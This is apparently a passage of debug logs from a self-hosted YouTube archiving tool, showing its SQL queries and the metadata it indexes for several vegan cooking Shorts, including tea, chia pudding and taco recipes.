THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [566] 20:26:19.299 [debug] Current batch of media processed. Will check again in 1000ms 20:26:20.300 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🫖 TEA TUESDAY | When you’re craving chocolate but also tea… you drink PURPLE CHOCOLATE TEA! 💜 \n\nThree ingredients: Cacao shells, Kenyan Purple Tea, Rose petals 🌹 It’s deliciously fragrant, comforting and I’d say pretty chocola-tea 😉 \n\nThanks so much to Paul at @JusteaKenya for letting me sample this tea blend — it’s my new fave and satisfies my craving for something chocolatey all the time now! 🍫\n\nLOCAL LOVE 💟 JusTea Kenya | I appreciate that they partner directly with small-scale tea farming families in Kenya, ensuring the farmers 👩🏾\u200D🌾 get paid fairly. Kenyan Purple tea is just like green or black tea… except it’s PURPLE! 💜 The tea leaves are packed with antioxidants (thanks, anthocyanin!) and has less caffeine than green tea. I personally love the taste and it’s pretty to look at! ✨ \n\n#supportlocal #sustainability #shopsustainably #tealover #teadrinker #teatime #cupofteatime #teapro #tealeaves #tealove #ilovetea #teaspiration #steamyvegankitchen #steamyvegan #timefortea", "duration" => 30, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-04-12 This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts/This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts [g_okNegjUL0].NA", "id" => "g_okNegjUL0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/g_okNegjUL0", "playlist_index" => 178, "timestamp" => 1681312320, "title" => "This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts", "upload_date" => "20230412"} 20:26:20.301 [debug] QUERY OK source="sources" db=0.4ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:20.302 [debug] QUERY OK source="sources" db=0.3ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:20.304 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-12 15:12:00Z], 1] 20:26:20.307 [debug] QUERY OK source="media_items" db=1.6ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["🫖 TEA TUESDAY | When you’re craving chocolate but also tea… you drink PURPLE CHOCOLATE TEA! 💜 \n\nThree ingredients: Cacao shells, Kenyan Purple Tea, Rose petals 🌹 It’s deliciously fragrant, comforting and I’d say pretty chocola-tea 😉 \n\nThanks so much to Paul at @JusteaKenya for letting me sample this tea blend — it’s my new fave and satisfies my craving for something chocolatey all the time now! 🍫\n\nLOCAL LOVE 💟 JusTea Kenya | I appreciate that they partner directly with small-scale tea farming families in Kenya, ensuring the farmers 👩🏾\u200D🌾 get paid fairly. Kenyan Purple tea is just like green or black tea… except it’s PURPLE! 💜 The tea leaves are packed with antioxidants (thanks, anthocyanin!) and has less caffeine than green tea. I personally love the taste and it’s pretty to look at! ✨ \n\n#supportlocal #sustainability #shopsustainably #tealover #teadrinker #teatime #cupofteatime #teapro #tealeaves #tealove #ilovetea #teaspiration #steamyvegankitchen #steamyvegan #timefortea", "This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts", "d044249d-75a8-4b6a-80dc-e26162ff8a23", 1, [], 30, false, "g_okNegjUL0", "https://www.youtube.com/shorts/g_okNegjUL0", 178, "/downloads/downloads/alec/Steamy Vegan/2023-04-12 This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts/This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts [g_okNegjUL0].NA", false, false, true, 0, ~U[2023-04-12 15:12:00Z], ~U[2026-03-22 03:26:20Z], ~U[2026-03-22 03:26:20Z], "🫖 TEA TUESDAY | When you’re craving chocolate but also tea… you drink PURPLE CHOCOLATE TEA! 💜 \n\nThree ingredients: Cacao shells, Kenyan Purple Tea, Rose petals 🌹 It’s deliciously fragrant, comforting and I’d say pretty chocola-tea 😉 \n\nThanks so much to Paul at @JusteaKenya for letting me sample this tea blend — it’s my new fave and satisfies my craving for something chocolatey all the time now! 🍫\n\nLOCAL LOVE 💟 JusTea Kenya | I appreciate that they partner directly with small-scale tea farming families in Kenya, ensuring the farmers 👩🏾\u200D🌾 get paid fairly. Kenyan Purple tea is just like green or black tea… except it’s PURPLE! 💜 The tea leaves are packed with antioxidants (thanks, anthocyanin!) and has less caffeine than green tea. I personally love the taste and it’s pretty to look at! ✨ \n\n#supportlocal #sustainability #shopsustainably #tealover #teadrinker #teatime #cupofteatime #teapro #tealeaves #tealove #ilovetea #teaspiration #steamyvegankitchen #steamyvegan #timefortea", "This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts", 1, 30, false, "g_okNegjUL0", "https://www.youtube.com/shorts/g_okNegjUL0", "/downloads/downloads/alec/Steamy Vegan/2023-04-12 This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts/This chocolate tea HITS 🫖 🍫 #shorts #youtubeshorts [g_okNegjUL0].NA", true, ~U[2023-04-12 15:12:00Z]] 20:26:20.307 [debug] QUERY OK source="sources" db=0.7ms idle=264.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:20.308 [debug] QUERY OK source="media_profiles" db=0.7ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:20.309 [debug] QUERY OK source="media_items" db=0.3ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [567] 20:26:20.309 [debug] Current batch of media processed. Will check again in 1000ms 20:26:21.310 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Mango Chia Pudding 🥭 High-protein, BIG ENERGY ✨ Follow @steamyvegankitchen for more! \n\nInspired by one of my fave refreshing drinks Mango Lassi 🥭\n1 ripe mango, flesh removed and cubed\n1/2 cup unsweetened plant milk \n2 tbsp chia seeds \n1/4 cup vanilla plant yogurt \n2 tbsp shredded unsweetened coconut \n1 tbsp cacao nibs for topping \nOptional: splash of vanilla, pinch of cinnamon and cardamom \n\n1. In a high speed blender or with an immersion blender, blend up the mango until it’s puréed, add a splash of water if needed \n2. Add the milk and chia seeds and stir until well combined.\n3. Pour half of it into a jar and layer in fresh fruit (more mango or banana is great) yogurt, and 1 tbsp shredded coconut. Pour the remaining chia pudding on top and garnish with more shredded coconut and cacao nibs. \n4. Let thicken in the fridge for 30 minutes and enjoy! 🤤\n\nLove this recipe? Follow @steamyvegankitchen for more vegan deliciousness ✨\n\n#steamyvegankitchen #steamyvegan #chiapudding #chiapuddingrecipe #veganbreakfastideas #mangolover #mangoseason #highproteinvegan #plantprotein #eatvegan #veganeats #highenergy #eatclean", "duration" => 29, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-04-05 Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts/Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts [-fjn7f35JwQ].NA", "id" => "-fjn7f35JwQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/-fjn7f35JwQ", "playlist_index" => 179, "timestamp" => 1680709788, "title" => "Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts", "upload_date" => "20230405"} 20:26:21.311 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:21.312 [debug] QUERY OK source="sources" db=0.5ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:21.314 [debug] QUERY OK source="media_items" db=1.6ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-05 15:49:48Z], 1] 20:26:21.315 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mango Chia Pudding 🥭 High-protein, BIG ENERGY ✨ Follow @steamyvegankitchen for more! \n\nInspired by one of my fave refreshing drinks Mango Lassi 🥭\n1 ripe mango, flesh removed and cubed\n1/2 cup unsweetened plant milk \n2 tbsp chia seeds \n1/4 cup vanilla plant yogurt \n2 tbsp shredded unsweetened coconut \n1 tbsp cacao nibs for topping \nOptional: splash of vanilla, pinch of cinnamon and cardamom \n\n1. In a high speed blender or with an immersion blender, blend up the mango until it’s puréed, add a splash of water if needed \n2. Add the milk and chia seeds and stir until well combined.\n3. Pour half of it into a jar and layer in fresh fruit (more mango or banana is great) yogurt, and 1 tbsp shredded coconut. Pour the remaining chia pudding on top and garnish with more shredded coconut and cacao nibs. \n4. Let thicken in the fridge for 30 minutes and enjoy! 🤤\n\nLove this recipe? Follow @steamyvegankitchen for more vegan deliciousness ✨\n\n#steamyvegankitchen #steamyvegan #chiapudding #chiapuddingrecipe #veganbreakfastideas #mangolover #mangoseason #highproteinvegan #plantprotein #eatvegan #veganeats #highenergy #eatclean", "Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts", "e602a825-fe9a-4415-bdb5-005e6e8edd9f", 1, [], 29, false, "-fjn7f35JwQ", "https://www.youtube.com/shorts/-fjn7f35JwQ", 179, "/downloads/downloads/alec/Steamy Vegan/2023-04-05 Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts/Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts [-fjn7f35JwQ].NA", false, false, true, 0, ~U[2023-04-05 15:49:48Z], ~U[2026-03-22 03:26:21Z], ~U[2026-03-22 03:26:21Z], "Mango Chia Pudding 🥭 High-protein, BIG ENERGY ✨ Follow @steamyvegankitchen for more! \n\nInspired by one of my fave refreshing drinks Mango Lassi 🥭\n1 ripe mango, flesh removed and cubed\n1/2 cup unsweetened plant milk \n2 tbsp chia seeds \n1/4 cup vanilla plant yogurt \n2 tbsp shredded unsweetened coconut \n1 tbsp cacao nibs for topping \nOptional: splash of vanilla, pinch of cinnamon and cardamom \n\n1. In a high speed blender or with an immersion blender, blend up the mango until it’s puréed, add a splash of water if needed \n2. Add the milk and chia seeds and stir until well combined.\n3. Pour half of it into a jar and layer in fresh fruit (more mango or banana is great) yogurt, and 1 tbsp shredded coconut. Pour the remaining chia pudding on top and garnish with more shredded coconut and cacao nibs. \n4. Let thicken in the fridge for 30 minutes and enjoy! 🤤\n\nLove this recipe? Follow @steamyvegankitchen for more vegan deliciousness ✨\n\n#steamyvegankitchen #steamyvegan #chiapudding #chiapuddingrecipe #veganbreakfastideas #mangolover #mangoseason #highproteinvegan #plantprotein #eatvegan #veganeats #highenergy #eatclean", "Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts", 1, 29, false, "-fjn7f35JwQ", "https://www.youtube.com/shorts/-fjn7f35JwQ", "/downloads/downloads/alec/Steamy Vegan/2023-04-05 Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts/Mango Chia Pudding 🥭 Easy Vegan Breakfast Idea #youtubeshorts #shorts [-fjn7f35JwQ].NA", true, ~U[2023-04-05 15:49:48Z]] 20:26:21.316 [debug] QUERY OK source="sources" db=0.5ms idle=271.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:21.317 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:21.317 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [568] 20:26:21.318 [debug] Current batch of media processed. Will check again in 1000ms 20:26:22.319 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts \n\nCopycat @chipotle Sofritas Tacos! 🌮\n1. Corn tortillas - warm 'em up on a hot, dry pan on both sides for 20 seconds each\n2. Slather on some Instant Pot Refried Beans (RECIPE: https://youtu.be/4B4GRiB3yzs)\n3. Add a saucy layer of Sofritas (I used @MakeItDairyFree recipe: https://makeitdairyfree.com/copycat-chipotle-sofritas/ )\n4. Add a little fresh crunch with Mango Pico de Gallo (RECIPE: https://youtu.be/zYX8d3bvg_w)\n5. Top with the BEST Guacamole EVER (RECIPE: https://youtu.be/GDjh5_Maauc)\n6. Sprinkle on some plant-based cheese (I used Violife Tex-Mex blend)\nENJOY AND SUBSCRIBE FOR MORE VEGAN FOOD INSPO! 👍🏻🌿\n\nCheck out the rest of the collaborators below! ⬇️\n\nGiovanna Gatto - https://youtube.com/shorts/wCSx9zfQIG8\nEric Metzger / Kevin Solis - https://www.youtube.com/shorts/vKG5SWrN8S0\nC. Adam \"Squirrl\" McClintock - https://youtube.com/shorts/l0nn46OOewQ\nJulius Mayo - https://youtube.com/shorts/4ZHzGisn7lY\nSonila Zarate - https://youtube.com/shorts/UWzYOTFBmbc\nRose Oatley - https://youtube.com/shorts/CMFClRkjuSs\nJoe Isaac - https://youtube.com/shorts/jyZP7z78C90\nValerie Lilley - https://youtube.com/shorts/E-x4KUZoe70\nTita Tanya! - https://www.youtube.com/shorts/lBWffsRPXFc\nKenneth Turner Ken in the Kitchen - https://youtube.com/shorts/4MlG1ZsCfSU\nTrufie Beulah - https://youtube.com/shorts/FFeG5Ngv1wc\nAshley Frederick / Whip It Like Butter - https://youtube.com/shorts/63VRWZ46_eE\nKatelyn Baldwin - https://youtube.com/shorts/fjMBtuyWrEo\nJanelle Carss / Steamy Vegan Kitchen - https://youtube.com/shorts/55CZner_Hhw\nDevin Boesing / @BoeBoeCooks - https://youtube.com/shorts/Ki827TsZka0\nCurtis Zondag / Indo_Chef - https://youtube.com/shorts/7xZRI8-dsHw\nShaan Grande @(whatsindepot) - https://youtube.com/shorts/FGM1cIYAFNo\nXuan Klevecka & Davis Luong - https://youtube.com/shorts/Xyt_IWbvCJY\nThimmy Abenes / Cook with Thimmy - https://youtube.com/shorts/kvDPK1qekAY\nJoanna Rankin / Lowbrow Fancy - https://www.youtube.com/shorts/gJRRChlvK7U\nDonna Greeson / Stir the Pot - https://youtube.com/shorts/lXeSP1NZ8Q0\nKid Chef Scarlet - https://youtube.com/shorts/vDh2Wd8Ih08\nPhilip Lemoine - https://youtube.com/shorts/ocwZUu6h_fM\nBrian & Sasha / Hoshi's Kitchen - https://youtube.com/shorts/xKyWpBCbVaw\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest-complete-package?ref=R3PGjUSm \n\nWatch my other 'WHAT I EAT' videos ➡️ https://www.youtube.com/playlist?list=PLf7woCLAh2s_EA5CAAa5fOF1PXubyDgkj\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/", "duration" => 57, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-03-18 My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts/My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts [55CZner_Hhw].NA", "id" => "55CZner_Hhw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/55CZner_Hhw", "playlist_index" => 180, "timestamp" => 1679163120, "title" => "My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts", "upload_date" => "20230318"} 20:26:22.320 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:22.321 [debug] QUERY OK source="sources" db=0.5ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:22.323 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-18 18:12:00Z], 1] 20:26:22.327 [debug] QUERY OK source="media_items" db=3.6ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts \n\nCopycat @chipotle Sofritas Tacos! 🌮\n1. Corn tortillas - warm 'em up on a hot, dry pan on both sides for 20 seconds each\n2. Slather on some Instant Pot Refried Beans (RECIPE: https://youtu.be/4B4GRiB3yzs)\n3. Add a saucy layer of Sofritas (I used @MakeItDairyFree recipe: https://makeitdairyfree.com/copycat-chipotle-sofritas/ )\n4. Add a little fresh crunch with Mango Pico de Gallo (RECIPE: https://youtu.be/zYX8d3bvg_w)\n5. Top with the BEST Guacamole EVER (RECIPE: https://youtu.be/GDjh5_Maauc)\n6. Sprinkle on some plant-based cheese (I used Violife Tex-Mex blend)\nENJOY AND SUBSCRIBE FOR MORE VEGAN FOOD INSPO! 👍🏻🌿\n\nCheck out the rest of the collaborators below! ⬇️\n\nGiovanna Gatto - https://youtube.com/shorts/wCSx9zfQIG8\nEric Metzger / Kevin Solis - https://www.youtube.com/shorts/vKG5SWrN8S0\nC. Adam \"Squirrl\" McClintock - https://youtube.com/shorts/l0nn46OOewQ\nJulius Mayo - https://youtube.com/shorts/4ZHzGisn7lY\nSonila Zarate - https://youtube.com/shorts/UWzYOTFBmbc\nRose Oatley - https://youtube.com/shorts/CMFClRkjuSs\nJoe Isaac - https://youtube.com/shorts/jyZP7z78C90\nValerie Lilley - https://youtube.com/shorts/E-x4KUZoe70\nTita Tanya! - https://www.youtube.com/shorts/lBWffsRPXFc\nKenneth Turner Ken in the Kitchen - https://youtube.com/shorts/4MlG1ZsCfSU\nTrufie Beulah - https://youtube.com/shorts/FFeG5Ngv1wc\nAshley Frederick / Whip It Like Butter - https://youtube.com/shorts/63VRWZ46_eE\nKatelyn Baldwin - https://youtube.com/shorts/fjMBtuyWrEo\nJanelle Carss / Steamy Vegan Kitchen - https://youtube.com/shorts/55CZner_Hhw\nDevin Boesing / @BoeBoeCooks - https://youtube.com/shorts/Ki827TsZka0\nCurtis Zondag / Indo_Chef - https://youtube.com/shorts/7xZRI8-dsHw\nShaan Grande @(whatsindepot) - https://youtube.com/shorts/FGM1cIYAFNo\nXuan Klevecka & Davis Luong - https://youtube.com/shorts/Xyt_IWbvCJY\nThimmy Abenes / Cook with Thimmy - https://youtube.com/shorts/kvDPK1qekAY\nJoanna Rankin / Lowbrow Fancy - https://www.youtube.com/shorts/gJRRChlvK7U\nDonna Greeson / Stir the Pot - https://youtube.com/shorts/lXeSP1NZ8Q0\nKid Chef Scarlet - https://youtube.com/shorts/vDh2Wd8Ih08\nPhilip Lemoine - https://youtube.com/shorts/ocwZUu6h_fM\nBrian & Sasha / Hoshi's Kitchen - https://youtube.com/shorts/xKyWpBCbVaw\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest-complete-package?ref=R3PGjUSm \n\nWatch my other 'WHAT I EAT' videos ➡️ https://www.youtube.com/playlist?list=PLf7woCLAh2s_EA5CAAa5fOF1PXubyDgkj\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/", "My Favorite Taco Recipe! #CookingCreatorsCollab001 